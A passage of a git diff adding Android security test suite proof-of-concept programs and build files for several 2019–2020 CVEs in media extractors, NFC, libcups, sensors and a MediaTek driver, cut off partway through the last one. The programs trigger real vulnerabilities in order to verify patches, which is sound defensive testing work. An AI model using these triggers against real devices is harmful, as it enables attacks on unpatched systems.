+int main() {
+  pthread_t t1, t2, t3;
+
+  test_started = start_timer();
+
+  pthread_create(&t1, NULL, bcfree_helper, NULL);
+  pthread_create(&t2, NULL, bcfree, NULL);
+  pthread_create(&t3, NULL, bcfree_helper, NULL);
+  pthread_join(t1, NULL);
+  pthread_join(t2, NULL);
+  pthread_join(t3, NULL);
+  return EXIT_SUCCESS;
+}
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
new file mode 100644
index 0000000..5e93ae3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2126
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..3006292
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,116 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A,
+        0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53,
+        0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4,
+        0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81,
+        0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10,
+        0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10,
+        0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24,
+        0x00 };
+
+unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF,
+        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 };
+
+#define LEAK_SIZE          16000000
+#define LEAK_DATA          0x61
+#define TMP_FILE           "/data/local/tmp/temp_cve_2019_2126"
+#define LIB_NAME           "/system/lib64/extractors/libmkvextractor.so"
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+    return (size == LEAK_SIZE);
+}
+
+int main() {
+
+#if _64_BIT
+    FILE* fp = fopen(TMP_FILE, "wb");
+    if (!fp) {
+        return EXIT_FAILURE;
+    }
+
+    char *appendArray = (char *) malloc(LEAK_SIZE);
+    memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+    /* Write mkv stream */
+    fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+    /* Append a bitstream which causes memory leak */
+    fwrite(appendArray, 1, LEAK_SIZE, fp);
+    fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+    free((void *) appendArray);
+    fclose(fp);
+
+    void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        remove(TMP_FILE);
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+    TMP_FILE);
+    if (dataSource == nullptr) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor::GetExtractorDef getDef =
+            (MediaExtractor::GetExtractorDef) dlsym(libHandle,
+                                                    "GETEXTRACTORDEF");
+    if (!getDef) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    MediaExtractor::CreatorFunc creator = NULL;
+    MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+    float confidence;
+    creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+    if (!creator) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor *ret = creator(dataSource.get(), meta);
+    if (ret == nullptr) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    remove(TMP_FILE);
+    dlclose(libHandle);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk
new file mode 100644
index 0000000..9277f41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2133
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/src/common/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/inc/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc_nci_jni
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..5670db2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+    uint8_t p_data = 0xA0;
+    uint32_t len = 0;
+
+    phNxpExtns_MfcModuleInit();
+    Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk
new file mode 100644
index 0000000..ec723d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2134
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/src/common/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/inc/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc_nci_jni
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..2486239
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+    uint8_t p_data = 0xA0;
+    uint32_t len = 1;
+
+    phNxpExtns_MfcModuleInit();
+    Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk
new file mode 100644
index 0000000..9bf92b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2184
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/av/media/libstagefright/codecs/m4v_h263/dec/include/
+LOCAL_C_INCLUDES_32 += frameworks/av/media/libstagefright/codecs/m4v_h263/dec/src/
+LOCAL_C_INCLUDES_32 += frameworks/av/media/libstagefright
+LOCAL_SHARED_LIBRARIES_32 := libstagefright_soft_mpeg4dec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DOSCL_EXPORT_REF= -DOSCL_IMPORT_REF=
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp
new file mode 100644
index 0000000..c5b75f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp
@@ -0,0 +1,118 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "mp4dec_api.h"
+
+#define START_CODE 0xB0010000
+#define SIZE 0x100
+#define REF_YUV_SIZE 1000
+#define WIDTH 0x80
+#define HEIGHT 0x60
+
+void clean_exit(uint8_t *frame, tagvideoDecControls *controls) {
+    delete frame;
+    delete controls;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+    (void)argc;
+    (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+    uint8 refYUV[REF_YUV_SIZE];
+    FILE *fp = nullptr;
+    uint8_t *frame = nullptr;
+    unsigned int frameSize = 0;
+    tagvideoDecControls *controls = nullptr;
+    uint8_t *volData[1];
+    int32_t volSize = 0;
+
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    fp = fopen(argv[1], "rb");
+    if (!fp) {
+        return EXIT_FAILURE;
+    }
+
+    fseek(fp, 0, SEEK_END);
+    frameSize = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    frame = new uint8_t[frameSize];
+    fread(frame, sizeof(uint8_t), frameSize, fp);
+    fclose(fp);
+    fp = nullptr;
+
+    controls = new tagvideoDecControls;
+    memset(controls, 0, sizeof(tagvideoDecControls));
+
+    int size = SIZE;
+
+    uint32_t *volHeader = (uint32_t *) (frame);
+    if (*volHeader == START_CODE) {
+        PVCleanUpVideoDecoder(controls);
+        volData[0] = frame;
+        volSize = size;
+    } else {
+        volData[0] = nullptr;
+        volSize = 0;
+        size = 0;
+    }
+
+    if (!PVInitVideoDecoder(controls, volData, &volSize, 1, WIDTH, HEIGHT,
+                            MPEG4_MODE)) {
+        clean_exit(frame, controls);
+        return EXIT_FAILURE;
+    }
+
+    MP4DecodingMode actualMode = PVGetDecBitstreamMode(controls);
+    if (actualMode != MPEG4_MODE) {
+        clean_exit(frame, controls);
+        return EXIT_FAILURE;
+    }
+
+    PVSetPostProcType((VideoDecControls *) controls, 0);
+    PVSetReferenceYUV(controls, refYUV);
+
+    uint8_t *bitstreamTmp = frame + size;
+    uint32_t timestamp = 0xFFFFFFFF;
+    int32_t tmp = frameSize - size;
+    VopHeaderInfo headerInfo;
+    uint32_t useExtTimestamp = 1;
+    if (PVDecodeVopHeader(controls, &bitstreamTmp, &timestamp, &tmp,
+                          &headerInfo, &useExtTimestamp, refYUV) != PV_TRUE) {
+        clean_exit(frame, controls);
+        return EXIT_FAILURE;
+    }
+
+    if (PVDecodeVopBody(controls, &tmp) != PV_TRUE) {
+        clean_exit(frame, controls);
+        return EXIT_FAILURE;
+    }
+
+    clean_exit(frame, controls);
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk
new file mode 100644
index 0000000..a8df1fb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2228
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libcups/cups
+LOCAL_SHARED_LIBRARIES := libcups
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..b55c6f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <ipp.h>
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void* (*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char* str1, const char* str2) = NULL;
+
+void init(void) {
+    real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+    if (real_malloc == NULL) {
+        return;
+    }
+    real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+    if (real_strcmp == NULL) {
+        return;
+    }
+    isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+    if (!isInitialized) {
+        init();
+    }
+    void *tmp = real_malloc(size);
+    if (size == text_len) {
+        check_ptr = tmp;
+    }
+    return tmp;
+}
+
+int strcmp(const char* str1, const char* str2) {
+    if (!isInitialized) {
+        init();
+    }
+    if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+        exit(EXIT_VULNERABLE);
+    }
+    return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    int file_desc = open((const char *) argv[1], O_RDONLY);
+    if (file_desc < 0) {
+        return EXIT_FAILURE;
+    }
+
+    ipp_t *job = ippNew();
+    if(!job) {
+        return EXIT_FAILURE;
+    }
+    ippReadFile(file_desc, job);
+
+    if(job) {
+        free(job);
+    }
+    close(file_desc);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk
new file mode 100644
index 0000000..699902a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0007
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libsensor
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_UNINITIALIZED_MEMORY\
+                -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..4d27ef6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "sensor/Sensor.h"
+#include "hardware/sensors.h"
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+    return (size == vulnerableSize);
+}
+
+static sensor_t getTestSensorT() {
+    sensor_t hwSensor = { };
+    hwSensor.name = "Test ";
+    hwSensor.vendor = hwSensor.name;
+    hwSensor.version = 1;
+    hwSensor.handle = 2;
+    hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+    hwSensor.maxRange = 10.f;
+    hwSensor.resolution = 1.f;
+    hwSensor.power = 5.f;
+    hwSensor.minDelay = 1000;
+    hwSensor.fifoReservedEventCount = 50;
+    hwSensor.fifoMaxEventCount = 100;
+    hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+    hwSensor.requiredPermission = "";
+    hwSensor.maxDelay = 5000;
+    hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+    return hwSensor;
+}
+
+int main() {
+    sensor_t hwSensor = getTestSensorT();
+    Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+    vulnerableSize = sensor1.getFlattenedSize();
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    void *buffer = malloc(vulnerableSize);
+    enable_selective_overload = ENABLE_NONE;
+    if(!buffer){
+        return EXIT_FAILURE;
+    }
+    sensor1.flatten(buffer, vulnerableSize);
+    int status = is_memory_uninitialized();
+    free(buffer);
+    return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
new file mode 100644
index 0000000..4bce9a40
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2020-0069
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:=
+
+LOCAL_SHARED_LIBRARIES:=
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..4cc0852
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
